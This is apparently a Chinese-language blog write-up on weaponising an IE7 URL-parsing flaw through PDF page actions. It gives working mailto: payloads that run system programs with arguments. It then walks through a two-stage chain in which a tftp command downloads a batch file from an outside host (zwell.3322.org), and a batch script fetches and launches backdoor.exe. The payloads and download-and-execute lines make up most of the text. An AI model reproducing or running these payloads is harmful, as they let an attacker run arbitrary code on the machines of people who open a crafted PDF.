谈到这个漏洞,测试时有一个实用技巧:不要直接点击链接打开,而是右键另存到本地再进行测试。否则IE会调用自身的插件进行解析,导致漏洞无法触发。如果坚持直接点击链接,也可以尝试——但需注意,这本身也是IE的一个解析漏洞特性。
在Full Disclosure上看到这个漏洞描述时,起初并未想到具体的利用方式。后来联想到去年那篇关于PDF actions安全漏洞的文章(backdooring PDF files),PDF中的actions(如页面打开事件)恰好可以用于此漏洞的利用。
Petko Petkov此前曾声称存在PDF 0day漏洞,很可能就是指这个。利用此漏洞的前提是安装了IE7浏览器——其URL解析器在遇到百分号(%)时,会直接执行后续的程序。公开的利用方式如下:
mailto:test%../../../../windows/system32/calc.exe".cmd
https:%xx../../../../../../../../../../../windows/system32/calc.exe".bat这类URL能够执行系统内的任意命令,但问题在于大多数实用命令都需要携带参数。如何添加参数?实际上,只需将参数放在.cmd之前,并且必须放在引号(")之后——没有其他选择。经过测试,以下写法是可行的:
mailto:test%../../../../windows/system32/net.exe" "user".cmd多个参数时,可以依此类推:
mailto:test%../../../../windows/system32/xxx.exe" "argv1" "argv2".cmd至此,基本思路已经清晰——网络拷贝命令、TFTP等均可实现。但需要分两步进行:
- 下载程序
- 执行程序
此外,需要注意:最好将这两步分别放置在PDF的页面打开事件和页面关闭事件中执行。这样可以避免因网络速度波动导致程序下载不完整或执行失败。
mailto:test%..\..\..\..\windows\system32\tftp.exe" "-i" "zwell.3322.org" "GET" "a.bat" "c:\a".cmd
mailto:test%..\..\..\..\windows\system32\cmd.exe" "/c c:\a".cmd在zwell.3322.org上搭建了一个TFTP服务器,其中存放了a.cmd,其内容为再次下载并执行一个程序。
实际操作流程如下:打开PDF首页时触发第一条指令,从服务器下载a.bat并保存为a.cmd(为何保存为cmd格式?读者可自行思考)。离开该页面时,再执行已下载的a.cmd——它实际上是一个批处理文件,内容如下:
cmd /c tftp -i zwell.3322.org GET backdoor.exe c:\b.exe
start c:\b.exe至此,backdoor.exe(实际上只是重命名的notepad程序)被成功下载并执行。攻击完成。
